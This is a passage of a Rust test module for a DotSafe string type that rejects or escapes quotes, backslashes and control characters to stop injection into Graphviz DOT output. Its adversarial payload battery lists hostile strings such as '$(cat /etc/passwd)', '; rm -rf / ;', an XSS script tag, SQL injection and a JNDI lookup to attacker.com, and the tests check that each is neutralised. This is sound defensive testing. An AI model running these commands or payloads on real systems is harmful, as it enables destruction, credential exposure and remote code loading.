1042        assert_eq!(dot_line, r#"    "node_1" [label="] label=\"injected\" [ "] "#.trim_end());
1043    }
1044
1045    #[test]
1046    fn test_dot_safe_attack_edge_hijacking() {
1047        let payload = r#"" -> "evil_target" [color=red]; "node_1"#;
1048        assert!(DotSafe::try_from(payload).is_err());
1049
1050        let escaped = DotSafe::from_str_lossy(payload);
1051        assert_eq!(escaped.as_str(), r#"\" -> \"evil_target\" [color=red]; \"node_1"#);
1052
1053        let dot_line = format!(r#"    "{}" -> "{}""#, "node_1", escaped);
1054        assert_eq!(dot_line, r#"    "node_1" -> "\" -> \"evil_target\" [color=red]; \"node_1""#);
1055    }
1056
1057    #[test]
1058    fn test_dot_safe_attack_html_labels_and_comments() {
1059        // HTML tags without quotes are clean strings and rendered as literals inside "..."
1060        let clean_html = "<TABLE><TR><TD>Safe</TD></TR></TABLE>";
1061        let safe = DotSafe::try_from(clean_html).unwrap();
1062        assert_eq!(safe.as_str(), clean_html);
1063
1064        // HTML tags with quotes must be escaped
1065        let payload_html_quotes = r#"<TABLE BORDER="0"><TR><TD>Injected</TD></TR></TABLE>"#;
1066        assert!(DotSafe::try_from(payload_html_quotes).is_err());
1067        let escaped_html = DotSafe::from_str_lossy(payload_html_quotes);
1068        assert_eq!(
1069            escaped_html.as_str(),
1070            r#"<TABLE BORDER=\"0\"><TR><TD>Injected</TD></TR></TABLE>"#
1071        );
1072
1073        // Comment injection
1074        let comment_payload = "\" // comment \n node [color=red]; \"";
1075        assert!(DotSafe::try_from(comment_payload).is_err());
1076        let escaped_comment = DotSafe::from_str_lossy(comment_payload);
1077        assert_eq!(escaped_comment.as_str(), "\\\" // comment \\n node [color=red]; \\\"");
1078    }
1079
1080    #[test]
1081    fn test_dot_safe_attack_trailing_backslash_escape() {
1082        let payload = r#"path\"#;
1083        assert!(DotSafe::try_from(payload).is_err());
1084
1085        let escaped = DotSafe::from_str_lossy(payload);
1086        assert_eq!(escaped.as_str(), r#"path\\"#);
1087
1088        // When rendered in DOT, trailing backslash is escaped so closing quote is preserved
1089        let dot_line = format!(r#"    "{}" [label="{}"]"#, "node_1", escaped);
1090        assert_eq!(dot_line, r#"    "node_1" [label="path\\"]"#);
1091    }
1092
1093    #[test]
1094    fn test_dot_safe_traits_and_conversions() {
1095        let safe = DotSafe::try_from("test-value").unwrap();
1096
1097        // Display
1098        assert_eq!(format!("{safe}"), "test-value");
1099
1100        // Debug
1101        assert_eq!(format!("{safe:?}"), "DotSafe(\"test-value\")");
1102
1103        // Deref
1104        assert_eq!(safe.len(), 10);
1105        assert!(safe.starts_with("test"));
1106        assert!(safe.ends_with("value"));
1107        assert_eq!(&safe[0..4], "test");
1108
1109        // AsRef
1110        let s_ref: &str = safe.as_ref();
1111        assert_eq!(s_ref, "test-value");
1112
1113        // Borrow & Hash/Set operations
1114        let borrowed: &str = safe.borrow();
1115        assert_eq!(borrowed, "test-value");
1116
1117        let mut set = HashSet::new();
1118        set.insert(safe.clone());
1119        assert!(set.contains("test-value"));
1120        assert!(set.contains(String::from("test-value").as_str()));
1121
1122        let mut btree = BTreeSet::new();
1123        btree.insert(safe.clone());
1124        assert!(btree.contains("test-value"));
1125
1126        // From / Into String
1127        let owned: String = safe.clone().into();
1128        assert_eq!(owned, "test-value");
1129        assert_eq!(safe.into_inner(), "test-value");
1130
1131        // FromStr
1132        let parsed = "parsed_node".parse::<DotSafe>().unwrap();
1133        assert_eq!(parsed, "parsed_node");
1134        assert!("bad\"node".parse::<DotSafe>().is_err());
1135
1136        // TryFrom String
1137        let owned_valid = DotSafe::try_from(String::from("valid_owned")).unwrap();
1138        assert_eq!(owned_valid, "valid_owned");
1139        assert!(DotSafe::try_from(String::from("invalid\"owned")).is_err());
1140
1141        // Default
1142        let default_val = DotSafe::default();
1143        assert_eq!(default_val, "");
1144        assert!(default_val.is_empty());
1145    }
1146
1147    #[test]
1148    fn test_dot_safe_symmetric_partial_eq() {
1149        let s = DotSafe::try_from("abc").unwrap();
1150
1151        // &str
1152        assert_eq!(s, "abc");
1153        assert_eq!("abc", s);
1154        assert_eq!(s, *"abc");
1155        assert_eq!(*"abc", s);
1156
1157        // String
1158        assert_eq!(s, String::from("abc"));
1159        assert_eq!(String::from("abc"), s);
1160        assert_eq!(s, &String::from("abc"));
1161        assert_eq!(&String::from("abc"), s);
1162
1163        // DotSafe
1164        let s2 = DotSafe::try_from("abc").unwrap();
1165        assert_eq!(s, s2);
1166
1167        let diff = DotSafe::try_from("def").unwrap();
1168        assert_ne!(s, diff);
1169        assert_ne!(s, "def");
1170        assert_ne!("def", s);
1171    }
1172
1173    #[test]
1174    fn test_dot_safe_serde_json_roundtrip() {
1175        let safe = DotSafe::try_from("valid_identifier-42").unwrap();
1176        let json = serde_json::to_string(&safe).unwrap();
1177        assert_eq!(json, "\"valid_identifier-42\"");
1178
1179        let deserialized: DotSafe = serde_json::from_str(&json).unwrap();
1180        assert_eq!(deserialized, safe);
1181    }
1182
1183    #[test]
1184    fn test_dot_safe_serde_json_rejection() {
1185        // Double quotes inside JSON string
1186        let bad_quote = r#""hello\"world""#;
1187        assert!(serde_json::from_str::<DotSafe>(bad_quote).is_err());
1188
1189        // Backslashes inside JSON string
1190        let bad_slash = r#""path\\to""#;
1191        assert!(serde_json::from_str::<DotSafe>(bad_slash).is_err());
1192
1193        // Newline inside JSON string
1194        let bad_newline = "\"line1\\nline2\"";
1195        assert!(serde_json::from_str::<DotSafe>(bad_newline).is_err());
1196
1197        // Control characters inside JSON string
1198        let bad_control = "\"ansi\\u001bcolor\"";
1199        assert!(serde_json::from_str::<DotSafe>(bad_control).is_err());
1200    }
1201
1202    #[test]
1203    fn test_is_dot_unsafe_and_contains() {
1204        assert!(is_dot_unsafe_character('"'));
1205        assert!(is_dot_unsafe_character('\\'));
1206        assert!(is_dot_unsafe_character('\n'));
1207        assert!(is_dot_unsafe_character('\r'));
1208        assert!(is_dot_unsafe_character('\t'));
1209        assert!(is_dot_unsafe_character('\0'));
1210        assert!(is_dot_unsafe_character('\x1b'));
1211        assert!(is_dot_unsafe_character('\x7f'));
1212        assert!(is_dot_unsafe_character('\u{009B}'));
1213
1214        assert!(!is_dot_unsafe_character('a'));
1215        assert!(!is_dot_unsafe_character('0'));
1216        assert!(!is_dot_unsafe_character('-'));
1217        assert!(!is_dot_unsafe_character('_'));
1218        assert!(!is_dot_unsafe_character('.'));
1219        assert!(!is_dot_unsafe_character('/'));
1220        assert!(!is_dot_unsafe_character(':'));
1221        assert!(!is_dot_unsafe_character('🦀'));
1222
1223        assert!(contains_dot_unsafe_characters("hello\"world"));
1224        assert!(contains_dot_unsafe_characters("hello\\world"));
1225        assert!(contains_dot_unsafe_characters("hello\nworld"));
1226        assert!(!contains_dot_unsafe_characters("hello world 🦀"));
1227    }
1228
1229    #[test]
1230    fn test_dot_safe_all_c0_c1_control_codes_rejected_and_lossy_replaced() {
1231        // C0 controls (0x00..=0x1F) and DEL (0x7F)
1232        for code in (0u8..=0x1Fu8).chain(std::iter::once(0x7Fu8)) {
1233            let c = code as char;
1234            let raw = format!("prefix{c}suffix");
1235
1236            // Strict validation must reject every single control character
1237            let err = DotSafe::try_from(raw.as_str()).unwrap_err();
1238            assert_eq!(err.character(), c);
1239            assert_eq!(err.byte_index(), 6);
1240
1241            // Lossy conversion must handle the control character safely
1242            let lossy = DotSafe::from_str_lossy(&raw);
1243            if c == '\n' {
1244                assert_eq!(lossy.as_str(), "prefix\\nsuffix");
1245            } else if c == '\r' {
1246                assert_eq!(lossy.as_str(), format!("prefix{}suffix", char::REPLACEMENT_CHARACTER));
1247            } else {
1248                assert_eq!(lossy.as_str(), format!("prefix{}suffix", char::REPLACEMENT_CHARACTER));
1249            }
1250
1251            // In all cases, no raw control character should remain in the output string
1252            assert!(
1253                !contains_control_characters(lossy.as_str()),
1254                "lossy output for char {c:?} (U+{:04X}) still contained control characters: {:?}",
1255                c as u32,
1256                lossy.as_str()
1257            );
1258        }
1259
1260        // C1 controls (0x80..=0x9F)
1261        for code in 0x80u32..=0x9Fu32 {
1262            let c = char::from_u32(code).unwrap();
1263            let raw = format!("start{c}end");
1264
1265            let err = DotSafe::try_from(raw.as_str()).unwrap_err();
1266            assert_eq!(err.character(), c);
1267            assert_eq!(err.byte_index(), 5);
1268
1269            let lossy = DotSafe::from_str_lossy(&raw);
1270            assert_eq!(lossy.as_str(), format!("start{}end", char::REPLACEMENT_CHARACTER));
1271            assert!(!contains_control_characters(lossy.as_str()));
1272        }
1273    }
1274
1275    #[test]
1276    fn test_dot_safe_nested_quotes_and_backslashes_combinatorics() {
1277        let test_cases = [
1278            // Quotes only: 1 to 5 quotes
1279            ("\"", "\\\""),
1280            ("\"\"", "\\\"\\\""),
1281            ("\"\"\"", "\\\"\\\"\\\""),
1282            ("\"\"\"\"", "\\\"\\\"\\\"\\\""),
1283            ("\"\"\"\"\"", "\\\"\\\"\\\"\\\"\\\""),
1284            // Backslashes only: 1 to 5 backslashes
1285            ("\\", "\\\\"),
1286            ("\\\\", "\\\\\\\\"),
1287            ("\\\\\\", "\\\\\\\\\\\\"),
1288            ("\\\\\\\\", "\\\\\\\\\\\\\\\\"),
1289            ("\\\\\\\\\\", "\\\\\\\\\\\\\\\\\\\\"),
1290            // Mixed quotes and backslashes
1291            (r#"\""#, r#"\\\""#),
1292            (r#"\"\""#, r#"\\\"\\\""#),
1293            (r#"\\""#, r#"\\\\\""#),
1294            (r#"\\\""#, r#"\\\\\\\""#),
1295            (r#"\"\\"#, r#"\\\"\\\\"#),
1296            (r#"\"\"\""#, r#"\\\"\\\"\\\""#),
1297            (r#"\\\"\\\""#, r#"\\\\\\\"\\\\\\\""#),
1298            (r#"a"b\c"d\e"f\"#, r#"a\"b\\c\"d\\e\"f\\"#),
1299            (r#"\""""\""#, r#"\\\"\"\"\"\\\""#),
1300            // Embedded raw newlines with quotes and slashes
1301            ("\"foo\"\n\"bar\"", "\\\"foo\\\"\\n\\\"bar\\\""),
1302            ("\"foo\"\r\n\"bar\"", "\\\"foo\\\"\\n\\\"bar\\\""),
1303            (r#"path\with"quotes"and\newlines\n"#, r#"path\\with\"quotes\"and\\newlines\\n"#),
1304        ];
1305
1306        for (input, expected_lossy) in test_cases {
1307            // Strict try_from must reject
1308            assert!(
1309                DotSafe::try_from(input).is_err(),
1310                "TryFrom unexpectedly succeeded for {input:?}"
1311            );
1312
1313            // Lossy must match expected
1314            let lossy = DotSafe::from_str_lossy(input);
1315            assert_eq!(lossy.as_str(), expected_lossy, "Lossy mismatch for input {input:?}");
1316
1317            // DOT quoted literal check
1318            let dot_literal = format!("\"{}\"", lossy.as_str());
1319            assert!(
1320                verify_dot_quoted_literal(&dot_literal),
1321                "DOT literal syntax violation for {dot_literal:?}"
1322            );
1323        }
1324    }
1325
1326    #[test]
1327    fn test_dot_safe_trailing_backslashes_battery() {
1328        let trailing_cases = [
1329            (r#"abc\"#, r#"abc\\"#),
1330            (r#"abc\\"#, r#"abc\\\\"#),
1331            (r#"abc\\\"#, r#"abc\\\\\\"#),
1332            (r#"abc\\\\"#, r#"abc\\\\\\\\"#),
1333            (r#"abc\\\\\"#, r#"abc\\\\\\\\\\"#),
1334            (r#"\"#, r#"\\"#),
1335            (r#"\\"#, r#"\\\\"#),
1336            (r#"\\\"#, r#"\\\\\\"#),
1337            (r#"\\\\"#, r#"\\\\\\\\"#),
1338            (r#"/usr/local/bin\"#, r#"/usr/local/bin\\"#),
1339            (r#"C:\Program Files\"#, r#"C:\\Program Files\\"#),
1340        ];
1341
1342        for (input, expected) in trailing_cases {
1343            assert!(DotSafe::try_from(input).is_err());
1344            let lossy = DotSafe::from_str_lossy(input);
1345            assert_eq!(lossy.as_str(), expected);
1346
1347            // Crucial security invariant: In format!("\"{}\"", lossy), the trailing backslashes
1348            // must NOT escape the closing quote delimiter.
1349            let dot_literal = format!("\"{}\"", lossy.as_str());
1350            assert!(
1351                verify_dot_quoted_literal(&dot_literal),
1352                "Trailing backslash escaped closing quote in {dot_literal:?}"
1353            );
1354        }
1355    }
1356
1357    #[test]
1358    fn test_dot_safe_unicode_homoglyphs_and_bidi() {
1359        // Homoglyphs are valid Unicode characters and not ASCII '"' or '\'
1360        let homoglyph_cases = [
1361            // Fullwidth quote and backslash
1362            ""fullwidth_quote"",
1363            "\fullwidth_backslash\",
1364            // Curly and typographic quotes
1365            "“left_double” “right_double”",
1366            "‘left_single’ ‘right_single’",
1367            "„low_double‟",
1368            "«guillemet_left» «guillemet_right»",
1369            "‹single_guillemet›",
1370            // Slash lookalikes
1371            "division∕slash",
1372            "fraction⁄slash",
1373            "set∖minus",
1374            // Unicode bidi / zero-width characters
1375            "bidi\u{202E}rtl_override\u{202C}",
1376            "zero\u{200B}width\u{200C}space\u{200D}",
1377            "\u{FEFF}byte_order_mark",
1378            // Complex emoji sequences with ZWJ
1379            "👨‍👩‍👧‍👦_family",
1380            "🏴‍☠️_pirate_flag",
1381        ];
1382
1383        for sample in homoglyph_cases {
1384            let safe = DotSafe::try_from(sample).unwrap();
1385            assert_eq!(safe.as_str(), sample);
1386
1387            let lossy = DotSafe::from_str_lossy(sample);
1388            assert_eq!(lossy.as_str(), sample);
1389
1390            let dot_literal = format!("\"{}\"", lossy.as_str());
1391            assert!(verify_dot_quoted_literal(&dot_literal));
1392        }
1393    }
1394
1395    #[test]
1396    fn test_dot_safe_adversarial_breakout_payloads_battery() {
1397        let attack_payloads = [
1398            // 1. Node definition breakouts
1399            r#""}; node [shape=doublecircle, fillcolor=red, label="hacked"]; {""#,
1400            r#"node_1" [color=red, label="hijacked"]; ""#,
1401            r#"node_1"; "injected_node" [label="pwned"]; """#,
1402            // 2. Subgraph cluster breakouts
1403            r#""]; } subgraph cluster_pwned { label="injected"; rank=same; { ""#,
1404            r#""} subgraph cluster_0 { a -> b; } digraph { ""#,
1405            // 3. Digraph boundary breakouts
1406            r#""]; } digraph second_graph { injected_node; } digraph original { ""#,
1407            r#""; } strict digraph { a -> b; } ""#,
1408            // 4. Attribute tampering
1409            r#"] [color=red] [label="spoofed"] [shape=diamond"#,
1410            r#""] fontsize=24 fontcolor=red label="alert" ["#,
1411            r#""] style="filled" fillcolor="yellow" ["#,
1412            // 5. Edge hijacking
1413            r#"" -> "evil_target" [color=red, label="hijacked"]; "node_orig"#,
1414            r#"" -- "undirected_target" [style=dotted]; """#,
1415            // 6. Port / compass spoofing
1416            r#"node_1:port_a:nw" -> "node_2:port_b:se"#,
1417            r#"orig_node":n -> "target_node":s"#,
1418            // 7. HTML-like label injection
1419            r#"<HTML><BODY><TABLE BORDER="1"><TR><TD>PWNED</TD></TR></TABLE></BODY></HTML>"#,
1420            r#"<TABLE><TR><TD PORT="p1">Port</TD></TR></TABLE>"#,
1421            r#""> <TABLE><TR><TD>Injected</TD></TR></TABLE> <""#,
1422            // 8. Multi-line comment injection
1423            "/*\nmultiline\ncomment\n*/ node [color=red]; // line\n",
1424            "// line comment\nnode_2 [label=\"injected\"];\n",
1425            "<!-- xml style comment -->",
1426            // 9. ANSI escape sequences
1427            "\x1b[31;1;4mRED\x1b[0m\x1b]0;TITLE\x07",
1428            "\x1b[2J\x1b[H\x1b[?25h",
1429            // 10. C1 CSI sequences
1430            "\u{009B}31mC1_CSI\u{009B}0m",
1431            "\u{009D}0;OSC_TITLE\u{009C}",
1432            // 11. Terminal clear and overwrite
1433            "\r\x1b[2K\x1b[1;1HInjected",
1434            // 12. Format strings and command injection
1435            "%s%s%n%x%d",
1436            "$(cat /etc/passwd)",
1437            "`id`",
1438            "; rm -rf / ;",
1439            // 13. SQLi / XSS variants
1440            "' OR '1'='1",
1441            "<script>alert('xss')</script>",
1442            // 14. Log4j / JNDI payloads
1443            "${jndi:ldap://attacker.com/exploit}",
1444            // 15. Null-byte truncation attempts
1445            "safe_prefix\0evil_suffix",
1446            "\0\0\0",
1447        ];
1448
1449        for payload in attack_payloads {
1450            // If the payload contains any unsafe character (", \, control chars), TryFrom MUST reject it
1451            if contains_dot_unsafe_characters(payload) {
1452                assert!(
1453                    DotSafe::try_from(payload).is_err(),
1454                    "TryFrom failed to reject attack payload: {payload:?}"
1455                );
1456            }
1457
1458            // Lossy conversion must sanitize the payload
1459            let safe = DotSafe::from_str_lossy(payload);
1460
1461            // In all cases, verify that wrapping in double quotes produces a strictly valid DOT literal
1462            let dot_literal = format!("\"{}\"", safe.as_str());
1463            assert!(
1464                verify_dot_quoted_literal(&dot_literal),
1465                "DOT literal syntax broken by payload {payload:?} -> {dot_literal:?}"
1466            );
1467
1468            // Verify no raw control characters survived
1469            assert!(
1470                !contains_control_characters(safe.as_str()),
1471                "Raw control characters survived in payload {payload:?} -> {:?}",
1472                safe.as_str()
1473            );
1474        }
1475    }
1476
1477    #[test]
1478    fn test_dot_safe_oracle_fuzzing() {
1479        // Deterministic pseudo-random string generator testing 5000 combinations
1480        let char_pool: Vec<char> = vec![
1481            'a', 'Z', '0', '_', '-', '.', '/', ':', '@', ' ', '"', '\\', '\n', '\r', '\t', '\0',
1482            '\x1b', '\x07', '\x7f', '\u{0080}', '\u{009B}', '\u{009F}', '“', '”', '\', '🦀', '日',
1483            '本', '語',
1484        ];
1485
1486        let mut lcg: u64 = 0x123456789ABCDEF;
1487        let mut next_rand = || -> usize {
1488            lcg = lcg.wrapping_mul(6364136223846793005).wrapping_add(1442695040888963407);
1489            (lcg >> 32) as usize
1490        };
1491
1492        for _ in 0..5000 {
1493            let len = next_rand() % 32;
1494            let mut s = String::with_capacity(len);
1495            for _ in 0..len {
1496                let idx = next_rand() % char_pool.len();
1497                s.push(char_pool[idx]);
1498            }
1499
1500            // Validate strict mode
1501            let has_unsafe = contains_dot_unsafe_characters(&s);
1502            let try_res = DotSafe::try_from(s.as_str());
1503            assert_eq!(
1504                try_res.is_ok(),
1505                !has_unsafe,
1506                "Mismatch between contains_dot_unsafe_characters and try_from for {s:?}"
1507            );
1508
1509            // Validate lossy mode
1510            let lossy = DotSafe::from_str_lossy(&s);
1511            let dot_literal = format!("\"{}\"", lossy.as_str());
1512            assert!(
1513                verify_dot_quoted_literal(&dot_literal),
1514                "Fuzzing failed for input {s:?} -> {dot_literal:?}"
1515            );
1516        }
1517    }
1518
1519    #[test]
1520    fn test_dot_safe_multibyte_utf8_exhaustive_boundary_matrix() {
1521        let prefixes: &[(&str, usize)] = &[
1522            ("a", 1),
1523            ("Z", 1),
1524            ("9", 1),
1525            ("-", 1),
1526            ("é", 2),
1527            ("Ω", 2),
1528            ("д", 2),
1529            ("ש", 2),
1530            ("ع", 2),
1531            ("本", 3),
1532            ("語", 3),
1533            ("€", 3),
1534            ("→", 3),
1535            ("漢", 3),
1536            ("🦀", 4),
1537            ("🚀", 4),
1538            ("🔒", 4),
1539            ("𝄞", 4),
1540            ("こんにちは", 15),
1541            ("👨‍👩‍👧‍👦", 25),
1542        ];
1543
1544        let unsafe_chars: &[char] = &[
1545            '"', '\\', '\n', '\r', '\t', '\0', '\x07', '\x08', '\x1b', '\x7f', '\u{0080}',
1546            '\u{009B}', '\u{009F}',
1547        ];
1548
1549        for &(prefix, expected_prefix_bytes) in prefixes {
1550            assert_eq!(
1551                prefix.len(),
1552                expected_prefix_bytes,
1553                "Prefix {prefix:?} byte length mismatch"
1554            );
1555
1556            for &bad_char in unsafe_chars {
1557                let suffix = "🚀世界";
1558                let s = format!("{prefix}{bad_char}{suffix}");
1559
1560                // 1. Strict validation MUST reject and report exact byte offset
1561                let err = match DotSafe::try_from(s.as_str()) {
1562                    Err(e) => e,
1563                    Ok(_) => panic!(
1564                        "TryFrom unexpectedly succeeded for prefix={prefix:?}, bad_char={bad_char:?}"
1565                    ),
1566                };
1567                assert_eq!(
1568                    err.byte_index(),
1569                    expected_prefix_bytes,
1570                    "Byte index mismatch for prefix={prefix:?}, bad_char={bad_char:?}"
1571                );
1572                assert_eq!(
1573                    err.character(),
1574                    bad_char,
1575                    "Character mismatch for prefix={prefix:?}, bad_char={bad_char:?}"
1576                );
1577
1578                // 2. Lossy conversion must preserve prefix and suffix exactly
1579                let lossy = DotSafe::from_str_lossy(&s);
1580                assert!(
1581                    lossy.as_str().starts_with(prefix),
1582                    "Lossy string did not preserve prefix {prefix:?} in {lossy:?}"
1583                );
1584                assert!(
1585                    lossy.as_str().ends_with(suffix),
1586                    "Lossy string did not preserve suffix {suffix:?} in {lossy:?}"
1587                );
1588
1589                // 3. Quoted DOT literal must be syntax-valid
1590                let dot_literal = format!("\"{}\"", lossy.as_str());
1591                assert!(
1592                    verify_dot_quoted_literal(&dot_literal),
1593                    "Invalid DOT literal for prefix={prefix:?}, bad_char={bad_char:?} -> {dot_literal:?}"
1594                );
1595            }
1596        }
1597    }
1598
1599    #[test]
1600    fn test_dot_safe_zero_length_and_whitespace_variations() {
1601        // Empty string
1602        let empty = DotSafe::try_from("").unwrap();
1603        assert_eq!(empty.as_str(), "");
1604        assert_eq!(empty.len(), 0);
1605        assert!(empty.is_empty());
1606        assert_eq!(DotSafe::from_str_lossy("").as_str(), "");
1607        assert!(verify_dot_quoted_literal(r#""""#));
1608
1609        // ASCII spaces
1610        let single_space = DotSafe::try_from(" ").unwrap();
1611        assert_eq!(single_space.as_str(), " ");
1612        let multi_space = DotSafe::try_from("     ").unwrap();
1613        assert_eq!(multi_space.as_str(), "     ");
1614        let mixed_space = DotSafe::try_from("  foo   bar  ").unwrap();
1615        assert_eq!(mixed_space.as_str(), "  foo   bar  ");
1616
1617        // Unicode whitespace categories (valid UTF-8, non-control)
1618        let unicode_whitespaces = [
1619            ("\u{00A0}", "No-Break Space"),
1620            ("\u{1680}", "Ogham Space Mark"),
1621            ("\u{2000}", "En Quad"),
1622            ("\u{2001}", "Em Quad"),
1623            ("\u{2002}", "En Space"),
1624            ("\u{2003}", "Em Space"),
1625            ("\u{2004}", "Three-Per-Em Space"),
1626            ("\u{2005}", "Four-Per-Em Space"),
1627            ("\u{2006}", "Six-Per-Em Space"),
1628            ("\u{2007}", "Figure Space"),
1629            ("\u{2008}", "Punctuation Space"),
1630            ("\u{2009}", "Thin Space"),
1631            ("\u{200A}", "Hair Space"),
1632            ("\u{202F}", "Narrow No-Break Space"),
1633            ("\u{205F}", "Medium Mathematical Space"),
1634            ("\u{3000}", "Ideographic Space"),
1635            ("\u{200B}", "Zero-Width Space"),
1636        ];
1637
1638        for (ws, name) in unicode_whitespaces {
1639            let safe =
1640                DotSafe::try_from(ws).unwrap_or_else(|_| panic!("Failed for {name} ({ws:?})"));
1641            assert_eq!(safe.as_str(), ws);
1642            let lossy = DotSafe::from_str_lossy(ws);
1643            assert_eq!(lossy.as_str(), ws);
1644
1645            let dot_literal = format!("\"{}\"", lossy.as_str());
1646            assert!(
1647                verify_dot_quoted_literal(&dot_literal),
1648                "Invalid DOT literal for {name}: {dot_literal:?}"
1649            );
1650        }
1651    }
1652
1653    #[test]
1654    fn test_dot_safe_extremely_large_strings_100kb_plus() {
1655        // 1. Clean 150KB ASCII string
1656        let large_clean_ascii = "a".repeat(150_000);
1657        let safe = DotSafe::try_from(large_clean_ascii.as_str()).unwrap();
1658        assert_eq!(safe.len(), 150_000);
1659        assert_eq!(DotSafe::from_str_lossy(&large_clean_ascii).len(), 150_000);
1660
1661        // 2. Clean 650KB Multibyte string (50,000 repeats of 13-byte "🦀日本語")
1662        let large_multibyte = "🦀日本語".repeat(50_000);
1663        assert_eq!(large_multibyte.len(), 650_000);
1664        let safe_mb = DotSafe::try_from(large_multibyte.as_str()).unwrap();
1665        assert_eq!(safe_mb.len(), 650_000);
1666        assert_eq!(DotSafe::from_str_lossy(&large_multibyte).len(), 650_000);
1667
1668        // 3. Unsafe 150KB string with single bad character at the very end
1669        let mut large_bad_end = "a".repeat(150_000);
1670        large_bad_end.push('"');
1671        let err_end = DotSafe::try_from(large_bad_end.as_str()).unwrap_err();
1672        assert_eq!(err_end.byte_index(), 150_000);
1673        assert_eq!(err_end.character(), '"');
1674
1675        // 4. Unsafe 150KB string with bad character at byte 75,000
1676        let mut large_bad_mid = "b".repeat(75_000);
1677        large_bad_mid.push('\\');
1678        large_bad_mid.push_str(&"c".repeat(75_000));
1679        let err_mid = DotSafe::try_from(large_bad_mid.as_str()).unwrap_err();
1680        assert_eq!(err_mid.byte_index(), 75_000);
1681        assert_eq!(err_mid.character(), '\\');
1682
1683        // 5. Dense 100KB+ adversarial string with 10,000 quotes, backslashes, and newlines
1684        let attack_chunk = r#"node_"val"\dir\n"#; // 16 bytes containing ", \, \n
1685        let dense_attack = attack_chunk.repeat(10_000); // 160KB
1686        assert!(DotSafe::try_from(dense_attack.as_str()).is_err());
1687
1688        let lossy = DotSafe::from_str_lossy(&dense_attack);
1689        assert!(lossy.len() > dense_attack.len());
1690        let dot_literal = format!("\"{}\"", lossy.as_str());
1691        assert!(
1692            verify_dot_quoted_literal(&dot_literal),
1693            "Dense 160KB attack string produced invalid DOT literal"
1694        );
1695    }
1696
1697    #[test]
1698    fn test_dot_safe_unicode_non_characters_and_pua() {
1699        // Unicode Non-characters: U+FDD0..=U+FDEF
1700        for code in 0xFDD0u32..=0xFDEFu32 {
1701            let c = char::from_u32(code).unwrap();
1702            let s = format!("prefix_{c}_suffix");
1703            let safe = DotSafe::try_from(s.as_str()).unwrap();
1704            assert_eq!(safe.as_str(), s);
1705            let lossy = DotSafe::from_str_lossy(&s);
1706            assert_eq!(lossy.as_str(), s);
1707        }
1708
1709        // Special non-characters
1710        let special_non_chars = [
1711            '\u{FFFE}',
1712            '\u{FFFF}',
1713            '\u{1FFFE}',
1714            '\u{1FFFF}',
1715            '\u{2FFFE}',
1716            '\u{2FFFF}',
1717            '\u{10FFFE}',
1718            '\u{10FFFF}',
1719        ];
1720        for &c in &special_non_chars {
1721            let s = format!("nonchar_{c}");
1722            let safe = DotSafe::try_from(s.as_str()).unwrap();
1723            assert_eq!(safe.as_str(), s);
1724            let lossy = DotSafe::from_str_lossy(&s);
1725            assert_eq!(lossy.as_str(), s);
1726        }
1727
1728        // Private Use Area (PUA)
1729        let pua_samples = ['\u{E000}', '\u{E800}', '\u{F8FF}', '\u{F0000}', '\u{100000}'];
1730        for &c in &pua_samples {
1731            let s = format!("pua_{c}");
1732            let safe = DotSafe::try_from(s.as_str()).unwrap();
1733            assert_eq!(safe.as_str(), s);
1734            let lossy = DotSafe::from_str_lossy(&s);
1735            assert_eq!(lossy.as_str(), s);
1736        }
1737
1738        // Bidi formatting controls
1739        let bidi_controls = [
1740            '\u{200E}', // LRM
1741            '\u{200F}', // RLM
1742            '\u{061C}', // ALM
1743            '\u{2066}', // LRI
1744            '\u{2067}', // RLI
1745            '\u{2068}', // FSI
1746            '\u{2069}', // PDI
1747        ];
1748        for &c in &bidi_controls {
1749            let s = format!("bidi_{c}_text");
1750            let safe = DotSafe::try_from(s.as_str()).unwrap();
1751            assert_eq!(safe.as_str(), s);
1752            let lossy = DotSafe::from_str_lossy(&s);
1753            assert_eq!(lossy.as_str(), s);
1754        }
1755    }
1756
1757    #[test]
1758    fn test_dot_safe_serde_json_comprehensive_matrix() {
1759        use std::collections::HashMap;
1760
1761        // 1. Valid roundtrip with complex characters
1762        let valid_cases = [
1763            "alphanumeric_123",
1764            "koid-42.service_name",
1765            "こんにちは 🦀 🚀",
1766            "Café résumé — 100%",
1767            "",
1768            "   leading and trailing spaces   ",
1769        ];
1770
1771        for &val in &valid_cases {
1772            let safe = DotSafe::try_from(val).unwrap();
1773            let json = serde_json::to_string(&safe).unwrap();
1774            let deserialized: DotSafe = serde_json::from_str(&json).unwrap();
1775            assert_eq!(deserialized, safe);
1776            assert_eq!(deserialized.as_str(), val);
1777        }
1778
1779        // 2. Unicode escape sequences in JSON that resolve to safe characters
1780        let json_escaped_unicode = "\"\\u0061\\u0062\\u0063\""; // "abc"
1781        let res: DotSafe = serde_json::from_str(json_escaped_unicode).unwrap();
1782        assert_eq!(res.as_str(), "abc");
1783
1784        let json_surrogate_pair = "\"\\uD83E\\uDD80\""; // 🦀
1785        let res_emoji: DotSafe = serde_json::from_str(json_surrogate_pair).unwrap();
1786        assert_eq!(res_emoji.as_str(), "🦀");
1787
1788        // 3. Strict rejection of JSON strings containing DOT-unsafe characters
1789        let invalid_json_strings = [
1790            r#""hello\"world""#,   // double quote
1791            r#""path\\to\\dir""#,  // backslash
1792            "\"line1\\nline2\"",   // newline
1793            "\"line1\\rline2\"",   // carriage return
1794            "\"tab\\tseparated\"", // tab
1795            "\"null\\u0000byte\"", // NUL control
1796            "\"ansi\\u001bcode\"", // ESC control
1797            "\"del\\u007fchar\"",  // DEL control
1798            "\"c1_\\u0080\"",      // C1 control U+0080
1799            "\"c1_\\u009B\"",      // C1 control U+009B
1800        ];
1801
1802        for &invalid_json in &invalid_json_strings {
1803            let res: Result<DotSafe, _> = serde_json::from_str(invalid_json);
1804            assert!(
1805                res.is_err(),
1806                "Deserialization unexpectedly succeeded for invalid JSON: {invalid_json}"
1807            );
1808        }
1809
1810        // 4. Malformed JSON types and payloads
1811        assert!(serde_json::from_str::<DotSafe>("12345").is_err());
1812        assert!(serde_json::from_str::<DotSafe>("true").is_err());
1813        assert!(serde_json::from_str::<DotSafe>("false").is_err());
1814        assert!(serde_json::from_str::<DotSafe>("null").is_err());
1815        assert!(serde_json::from_str::<DotSafe>(r#"["array"]"#).is_err());
1816        assert!(serde_json::from_str::<DotSafe>(r#"{"key": "value"}"#).is_err());
1817        assert!(serde_json::from_str::<DotSafe>(r#""unterminated"#).is_err());
1818
1819        // 5. Container serialization and deserialization
1820        #[derive(Serialize, Deserialize, PartialEq, Debug)]
1821        struct NodeMetadata {
1822            id: u64,
1823            name: DotSafe,
1824            optional_alias: Option<DotSafe>,
1825            tags: Vec<DotSafe>,
